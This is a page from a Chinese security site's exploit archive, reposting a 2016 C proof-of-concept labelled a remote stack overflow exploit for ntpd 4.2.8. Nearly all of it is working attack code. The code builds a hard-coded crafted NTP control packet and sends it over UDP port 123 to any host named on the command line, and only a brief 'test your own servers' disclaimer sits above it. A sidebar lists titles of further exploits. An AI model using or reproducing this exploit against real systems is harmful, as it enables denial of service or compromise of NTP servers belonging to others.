首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ntpd 4.2.8 Stack Overflow Proof Of Concept
来源:N_A[at]tutanota.com 作者:N_A 发布时间:2016-12-02  

/*

Remote ntpd 4.2.8 Stack Over Flow Proof Of Concept Exploit by N_A , N_A[at]tutanota.com
Please use this code to test your own servers. Do not break the law. Do not misuse. I am not responsible for any
misuse of this code


N_A[at]tutanota.com

*/

 


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <netinet/in.h>
#include <string.h>
#include <netdb.h>


#define PORT 123  /* change if needed */


  /* & nonce exploit packet , Todor Donev  */
char packet[] ="\x26\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x6e\x6f\x6e\x63\x65\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61";

 

void err(char *msg);

int main(int argc, char *argv[])

{
 int sockfd,n;

 struct sockaddr_in vuln;
 struct hostent *server;

 char *hostname;

 if(argc != 2)
 {
  printf("==================================================\n");
  printf("\tntpd 4.2.8 remote stack overflow exploit\n");
  printf("\t\tBy N_A\n");
  printf("\tUSAGE: %s [HOST]\n", argv[0]);
  printf("\t%s 127.0.0.1\n", argv[0]);
  printf("==================================================\n");
  return EXIT_FAILURE;
 }


 hostname = argv[1];
 server = gethostbyname(hostname);

 if( server == NULL )
 {
  err("gethostbyname");
 }


 if ((sockfd = socket(AF_INET,SOCK_DGRAM,0)) < 0 )
 {
  err("socket()");
 }

 printf("\n[*]UDP socket() successful\n");

 bzero((char *)&vuln,sizeof(vuln));
 vuln.sin_family = AF_INET;
 bcopy((char *)server->h_addr,(char *)&vuln.sin_addr.s_addr,server->h_length);
 vuln.sin_port = htons(PORT);

 if((n = sendto(sockfd,packet,strlen(packet),0,(struct sockaddr *)&vuln,sizeof(vuln))) < 0 )
 {
  err("sendto()");
 }

 printf("\n\n=============================\n");
 printf("\nPacket sent to server!\n");
 printf("=============================\n\n");

 return EXIT_SUCCESS;
}

 

void err(char *msg)
{
 perror(msg);
 exit(0);
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Xitami Web Server 5.0a0 - Deni
·PDF Shaper Buffer Overflow
·Google Chrome Accessibility bl
·Disk Savvy Enterprise 9.1.14 -
·WinPower 4.9.0.4 - Privilege E
·MS Edge CMarkup::EnsureDeleteC
·Linux Kernel 2.6.22 < 3.9 - 'D
·Opera foreignObject textNode::
·Windows Escalate UAC Protectio
·Eagle Speed USB Modem Software
·Apache ActiveMQ 5.11.1/5.13.2
·Android - 'BadKernel' Remote C
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved